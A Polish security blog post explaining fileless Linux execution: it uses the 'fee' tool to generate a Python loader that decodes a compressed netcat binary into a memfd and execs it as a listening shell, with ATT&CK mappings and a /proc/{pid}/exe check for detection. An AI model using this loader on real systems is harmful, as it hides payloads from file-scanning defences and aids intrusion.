Tworzymy bezplikowy proces dzięki języka python

nfsec.pl 1 rok temu

F

ileless ELF exec – fee – to proste narzędzie, które umożliwia załadowanie bezpośrednio do pamięci (poprzez deskryptor pliku pamięci – memfd) wcześniej zakodowany i skompresowany plik binarny. Dlaczego zadawać sobie trud, aby uruchamiać pliki w ten sposób ? Ponieważ ataki bezplikowe (ang. fileless) są bardziej wymijające dla detekcji niż ataki, które polegają na upuszczaniu ładunku (ang. payload) na dysk. W celu skuteczniejszego wykrywania tego typu szkodliwego systemu na systemie musi znajdować się ochrona, która wykorzystuje technikę analizy opartą na zachowaniu w czasie wykonywania plików i monitorowania pamięci. Fakt, iż po wykryciu ładunek „żyje” w pamięci może także komplikować proces informatyki śledczej (szczególnie dla efemerycznych maszyn w chmurze), ponieważ musi on zostać zrzucony z pamięci.

Dla przypomnienia: deskryptor pliku pamięci – memfd to funkcja w systemie Linux, która umożliwia tworzenie anonimowych obiektów plikowych opartych na pamięci. Mogą one być używane do różnych celów, takich jak komunikacja między procesami lub tymczasowy magazyn dyskowy. Atakujący czasami wykorzystują tę funkcję do wykonywania ładunków bez zapisywania ich na dysku, unikając w ten sposób wykrycia przez tradycyjne narzędzia bezpieczeństwa, które opierają się na skanowaniu plików binarnych. Gdy ładunek zostanie umieszczony już w sekcji pamięci dzięki memfd atakujący mogą wykonać wywołanie systemowe exec dla tej zawartości pamięci – traktując ją tak, jakby był to zwykły plik umieszczony na dysku. W ten sposób zostanie uruchomiony nowy proces prosto z pamięci. Aktywne procesy wykonywane dzięki memfd można zidentyfikować w działającym systemie sprawdzając czy nie istnieją jakieś dowiązania symboliczne w ścieżkach /proc/{pid}/exe, które zaczynają się od prefiksu /memfd:.

agresor@darkstar:~$ ls -al /proc/3441/exe lrwxrwxrwx 1 agresor agresor 0 Sep 5 19:06 /proc/3441/exe -> '/memfd: (deleted)'

Zainstalujemy teraz fee w celu stworzenia skryptu uruchomieniowego dla procesu, który będzie odwróconą powłoką przy pomocy programu netcat:

root@darkstar:~# apt-get update && apt install python3-pip -y root@darkstar:~# pip install fee Collecting fee Downloading fee-0.2.0-py3-none-any.whl (19 kB) Installing collected packages: fee Successfully installed fee-0.2.0 agresor@darkstar:~$ fee -a "nc -lvnp 60666" /usr/bin/nc > fileless.py

Kod skryptu fileless.py ogranicza się do 9 linii:

1| import ctypes, os, base64, zlib 2| l = ctypes.CDLL(None) 3| s = l.syscall 4| c = base64.b64decode(b'eNrtfXt8UgZaLJViAymmEKDaoqyIJW...) 5| e = zlib.decompress(c) 6| f = s(319, '', 1) 7| os.write(f, e) 8| p = '/proc/self/fd/%d' % f 9| os.execle(p, 'nc', '-lvnp', '60666', {})

Są one odpowiedzialne za:

  • Import bibliotek do bezpośrednich wywołań systemowych, wykonywania poleceń, kodowania base64 i (de)kompresji zlib.
  • Ładuje standardową lub domyślną bibliotekę C w systemie (libc).
  • Używa biblioteki C, aby uzyskać dostęp do funkcji wywołań systemowych.
  • Dekoduje wcześniej zakodowany ładunek (program nc) przy użyciu algorytmu base64 [T1140].
  • Dekompresuje wcześniej skompresowaną, zdekodowaną zawartość [T1027.002].
  • Wykonuje wywołanie systemowe o numerze 319 z argumentami, które jest odpowiednikiem: memfd_create( name="", flags=MFD_CLOSEEXEC). Zwrócony argument z wywołania systemowego jest nowym deskryptorem pliku pamięci memfd.
  • Zapisuje zawartość zdekodowanego i zdekompresowanego pliku binarnego w buforze memfd.
  • Konstruuje ścieżkę do deskryptora pliku pamięci memfd.
  • Wywołuje plik binarny bezpośrednio z pamięci poprzez nowy deskryptor pliku pamięci [T1620]. Ciąg „nc” jest przekazywany jako argv[0] (nazwa programu), a kolejne jako argumenty wiersza poleceń. Pusty słownik „{}” jest przekazywany jako zmienna środowiskowa, co oznacza, iż nie zostanie przekazana żadna nowa zmienna.

Czas na uruchomienie całego łańcucha:

agresor@darkstar:~$ python3 fileles.py >> /dev/null 2>&1 & [5] 3738 [4] Killed python3 fileles.py > /dev/null 2>&1 agresor@darkstar:~$ agresor@darkstar:~$ ps x PID TTY STAT TIME COMMAND 1021 ? Ss 0:00 /lib/systemd/systemd --user 1022 ? S 0:00 (sd-pam) 1106 ? R 0:02 sshd: agresor@pts/0 1107 pts/0 Ss 0:00 -bash 3738 pts/0 S 0:00 nc -lvnp 60666 3739 pts/0 R+ 0:00 ps x agresor@darkstar:~$ ls -al /proc/3738/exe lrwxrwxrwx 1 agresor agresor 0 Sep 5 21:35 /proc/3738/exe -> '/memfd: (deleted)'

Jak widzimy skrypt opakowujący w języku python po załadowaniu i uruchomieniu pliku binarnego z pamięci kończy swoje działanie pozostawiając bezplikowy proces w systemie. jeżeli nie jesteśmy fanami języka python – możemy przełączyć fee na język ruby lub perl.

Więcej informacji: Execute ELF files on a machine without dropping an ELF, PyLoose: Python-based fileless malware targets cloud workloads to deliver cryptominer

Idź do oryginalnego materiału